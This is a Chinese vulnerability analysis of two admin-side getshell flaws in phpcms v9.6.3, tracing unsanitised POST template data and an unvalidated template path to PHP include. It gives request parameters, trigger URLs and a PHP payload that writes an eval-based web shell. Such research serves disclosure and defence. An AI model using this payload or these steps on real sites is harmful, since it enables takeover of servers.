phpcmsv9.6.3之后台几处漏洞分析

From：[先知社区](https://xz.aliyun.com/t/4108 "先知社区")

#### 后台GETSHELL
![](http://0day5.com/usr/uploads/2019/02/406528426.png)

首先全局搜一下调用include或者require的地方

![](http://0day5.com/usr/uploads/2019/02/3369001720.png)

跟进到

```php
if (@file_put_contents($filepath,$str)) {
    ob_start();
    include $filepath;
    $html = ob_get_contents();
    ob_clean();
    @unlink($filepath);
}
```
往上走

```php
$str = $tpl->template_parse(new_stripslashes($template));
```
字符串是从这里取出，往上走

```php
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
```
直接post过数据来，没经过任何处理,那么只要构造一下传过恶意数据来即可。

首先向

http://www.test.com/phpcms/install_package/index.php？m=block&c=block_admin&pc_hash=B8mgrw&a=add&pos=1
post:

dosubmit=1&name=ac&type=2
然后填入payload

```php
<?php file_put_contents("phpcms_shell.php","<?php eval($_POST[1]);?>");
```

![](http://0day5.com/usr/uploads/2019/02/814813881.png)
![](http://0day5.com/usr/uploads/2019/02/2871224084.png)

#### GETSHELL(二)
另外一个地方是利用cache处的编译，因为没有限制模板文件路径，导致只要有可控的html页面，即可到达include实现getshell。

首先看modules\admin\category.php处

```php
$setting = $_POST['setting'];
            if($_POST['info']['type']!=2) {
                //栏目生成静态配置
                if($setting['ishtml']) {
                    $setting['category_ruleid'] = $_POST['category_html_ruleid'];
                } else {
                    $setting['category_ruleid'] = $_POST['category_php_ruleid'];
                    $_POST['info']['url'] = '';
                }
            }

//内容生成静态配置
            if($setting['content_ishtml']) {
                $setting['show_ruleid'] = $_POST['show_html_ruleid'];
            } else {
                $setting['show_ruleid'] = $_POST['show_php_ruleid'];
            }
            if($setting['repeatchargedays']<1) $setting['repeatchargedays'] = 1;
            $_POST['info']['sethtml'] = $setting['create_to_html_root'];
            //die(print_r($setting));
            $_POST['info']['setting'] = array2string($setting);
            die(print_r($_POST['info']));
            $end_str = $old_end =  '';
            if(!isset($_POST['batch_add']) || empty($_POST['batch_add'])) {
                $catname = CHARSET == 'gbk' ? $_POST['info']['catname'] : iconv('utf-8','gbk',$_POST['info']['catname']);
                $letters = gbk_to_pinyin($catname);
                $_POST['info']['letter'] = strtolower(implode('', $letters));
                $catid = $this->db->insert($_POST['info'], true);
```
setting信息没有经过任何处理直接插入数据库，也就是达到了上文没有限制模板文件路径。

那么继续往下找，setting[page_template]字段既然有入库操作，必然有出库操作。

全局搜索一下

![](http://0day5.com/usr/uploads/2019/02/2662438398.png)

跟进第一处，往下走看到

```php
include template('content',$template);
```
跟进template函数,在libs\functions\globals.func.php,主要代码如下

```php
$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
    if(file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
        if(!file_exists($compiledtplfile) || (@filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > @filemtime($compiledtplfile))) {
            $template_cache->template_compile($module, $template, $style);
        }
    } else {
        $compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
        if(!file_exists($compiledtplfile) || (file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') && filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > filemtime($compiledtplfile))) {
            $template_cache->template_compile($module, $template, 'default');
        } elseif (!file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
            showmessage('Template does not exist.'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html');
        }
    }
```
就是一个编译的过程，继续跟入template_compile,主要代码如下

```php
$content = @file_get_contents ( $tplfile );

$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR;
        if(!is_dir($filepath)) {
            mkdir($filepath, 0777, true);
        }
        $compiledtplfile = $filepath.$template.'.php';
        $content = $this->template_parse($content);
        $strlen = file_put_contents ( $compiledtplfile, $content );
```
tpfile=>page_template,然后就是编译成php的过程，现在即可到达include实现这个条件也达成，然后只是去找个可控的html文件。

可控的html文件比较多，如下

![](http://0day5.com/usr/uploads/2019/02/3784730730.png)

![](http://0day5.com/usr/uploads/2019/02/3411245254.png)

结合上面

![](http://0day5.com/usr/uploads/2019/02/780285171.png)

因为burp不方便直接抓包，先提交然后看history

![](http://0day5.com/usr/uploads/2019/02/1540682971.png)

然后找到catid

![](http://0day5.com/usr/uploads/2019/02/3819523984.png)

访问

http://www.test.com/phpcms_v9.6.3_UTF8/install_package/index.php?m=content&c=index&a=lists&catid=15
即可getshell。

phpcmsv9.6.3之后台几处漏洞分析

Trending Articles

[奇怪机翻组] 双梦相牵 / ふたりの夢もち [RJ01259078] [WebRip] [1080P HEVC-10Bit AAC 2.0]...

HONDA CITY VTI-S 菜單分享

#新闻拍一拍# 新的摩尔定律：黄氏定律

一如既往的痴情能否打动月瓶金蝎？ (豆瓣月亮水瓶小组)

求購按摩椅~'~

「粉红」不是霸凌辜莞允杠部落客：我爽在哪？

Intel 7-10代集成显卡驱动31.0.101.2137完整版

涉Gotbit加密货币市场操纵台男纽约被捕

臺灣法治會計學會2025年第三季研討會

不靠姊姊！張柏芝弟弟開計程車維生

关门一家亲：习远平、张澜澜、徐才厚

剑指offer——24.二叉树中和为某一值的路径

苏珊米勒日晕05.11｜狮子鼓励孩子；处女相信自己 (豆瓣 SUSAN MILLER小组)

【台積電IT卓越新戰略5】台積IT組織5年三次大調整，要靠平臺工程讓DevOps創新再加速

【日语无字】春之钟.Haru.no.kane.1985.JAP.vhsrip.NoSub.by.xiongzaixia&vivi

美籍老公不讓步李愛綺兒子念公立小學

新华网这张照片绝了!直讽江泽民宋祖英淫乱组图

湖州师范学院音乐学院开发的 Kontakt 8 明代魏氏乐琵琶/瑟/月琴音源即将发布

Google Chrome Portable 140.0.7339.186 穩定版免安裝中文版 - Google 瀏覽器

免费翻墙节点大全